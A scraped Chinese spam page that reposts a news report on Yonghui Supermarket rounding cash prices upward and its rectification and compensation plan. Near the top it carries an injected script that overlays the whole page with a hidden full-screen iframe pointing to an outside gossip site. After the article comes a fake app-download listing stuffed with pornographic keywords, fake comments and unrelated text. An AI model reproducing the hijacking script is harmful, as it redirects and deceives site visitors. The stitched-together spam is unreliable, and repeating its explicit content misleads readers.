首页 ›吃瓜爆料›内容详情

中国教育在线首发:吃瓜网站黑料不打烊-17cgcg吃瓜网黑料爆料-永辉超市回应顾客结算时被“反向抹零”：整改并补偿

alan 吃瓜爆料 2025-05-01 1 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

据长城网，近日，消费者刘先生在永辉超市重庆金源时代店购买标价为7.96元的淡虾米（二级），支付100元现金后收到找零92元。按照实际金额计算，刘先生应支付7.96元，但超市采用“分位四舍五入”规则，实际收取8元。报道还称，该现象在永辉重庆区域门店呈系统性存在。

对此，5月1日，永辉超市通过微信公众号“永辉同道”发布《永辉超市关于部分门店现金结算分币抹零问题的整改说明》称，近日，永辉超市关注到顾客反馈重庆金源时代店现金结算时分币“反向抹零”的问题，公司对此高度重视，并立刻展开排查发现：

全国范围内，虽然大部分城市门店包括全部调改店（执行“学习胖东来”自主调改项目的门店）已统一执行“舍分”标准 (即分位额舍弃不计入顾客结算金额）。但在排查中发现重庆、河北、北京、天津、东北地区的部分非调改门店存在现金支付分币“反向抹零”结算规则（手机支付顾客无影响）。顾客反馈的重庆金源时代店情况属实。门店具体的操作方式为：当顾客使用现金结算涉及分币找零时，门店将价格末尾分位数进行四舍五入收取，同时在服务台和购物小票底部做相关积零换整的方式提示，引导顾客去服务台兑换。

该说明称，此次“反向抹零”事件反映出其在运营管理中存在的不足：一方面，服务标准制定未能充分体现顾客视角的服务理念；另一方面，调改店好的服务经验推广滞后，未能及时将调改门店的好方法、好经验同步到所有门店，这都是我们经营管理的不成熟、不真诚。

该说明称，针对“反向抹零”问题，内部排查后第一时间做出整改：全国门店统一执行“舍分”标准：2025年4月29日起，全国所有永辉超市门店全面执行新规，即现金支付分币零头全舍，商品分位金额无论尾数为1分或9分，一律“舍去不计”，确保顾客实付金额不高于标价。

二、启动服务补偿：即日起，所有消费存在分位差额的顾客可通过以下方式获得补偿。(1）门店服务台：凭任意消费凭证，现场返还差额补偿；（2）线上通道：通过永辉生活APP“我的-客服中心”上传小票，24小时内发放补偿券。补偿标准：按实际分位差额的10倍进行补偿。

该说明还表示，感谢来自重庆的顾客刘先生的反馈，相关负责人将当面致歉，并根据《永辉超市客诉处理标准》给予1000元作为监督感谢金。

本文地址：http://hl.jiatingjiaoyuyanjiu.com/post/32450.html
版权声明：[免责声明]本文来源于网络，不代表本站立场，如转载内容涉及版权等问题，请联系邮箱:seo998@gmail.com，我们会予以删除相关文章，保证您的权利。

相关文章

热门文章

最近发表

首页 > > 91麻豆传传媒波多野衣久久
在线看污片

欧美成人vr18sexvr

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载APK 高速下载
下载云南卫视王芃芃多大了安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
一个免费看黄色0 草莓视频下载1 久久亚洲国产2 yy6080影院新视觉3 久久久小视频4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 精品一本卡1卡2卡3乱码
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一，露背裙子里面怎么搭配可以不露，厨房里丁字裤被C到高潮np
二，成年的世界one一个致敬韩寒，只有累死的牛,没有耕坏的地
三，洗头洗澡可以一起洗吗，房客(糙汉)何璐程曜坤
四，蘑菇破解视频播放软件的特点，汽车钣金无痕修复视频
五，附近幼儿园地址和电话，麻豆传媒candy视频在线
六，《嗜糖如命》一颗萝卜，md传媒苏语棠在线播放
七，抓住胸口两只小白兔，韩国十大必买美白面膜

【联系我们】
客服热线：139-8888-666
加载更多
版本更新
V1.22.17
精品人妻无码一区二区色欲产成人，人人人爽人人爽人人看人人玩

星际影院

猜你喜欢

相关攻略
包含 饿了么 的应用集
评论
  • 97久久精品人人做人人爽 4天前
    国产传媒视频在线观看
  • 杨玉环技能加点顺序 7天前
    吃瓜群分享的聊天记录
  • 一个人看的在线观看影视www 7天前
    漂亮人妻沦陷按摩2
  • 天美传奇影视传媒有限公司铁床批发厂家直销价格 6天前
    黑料不打烊图片打不开
  • 马红俊继承火神在哪一部 2天前
    蜜臀影院在线观看免费
  • 高堡奇人第一季在线观看 4天前
    男女对待爱情的差异
  • 仙踪林娇小XXXX桃花 5天前
    亲生乖女好紧H下小妖精
  • 镜子是怎么做出来的视频 4天前
    女人扒开屁股爽桶30分钟的简介
  • 阴茎插入阴道的视频 4天前
    李米的猜想剧情解析
  • 啊～你tm别㖭了破解软件 9天前
    体验试看十分钟视频
挪威的森林截一段视频
女士快感凝露真有效果吗 -安卓手机网上最贴心的Android软件应用平台! 版权归本站所有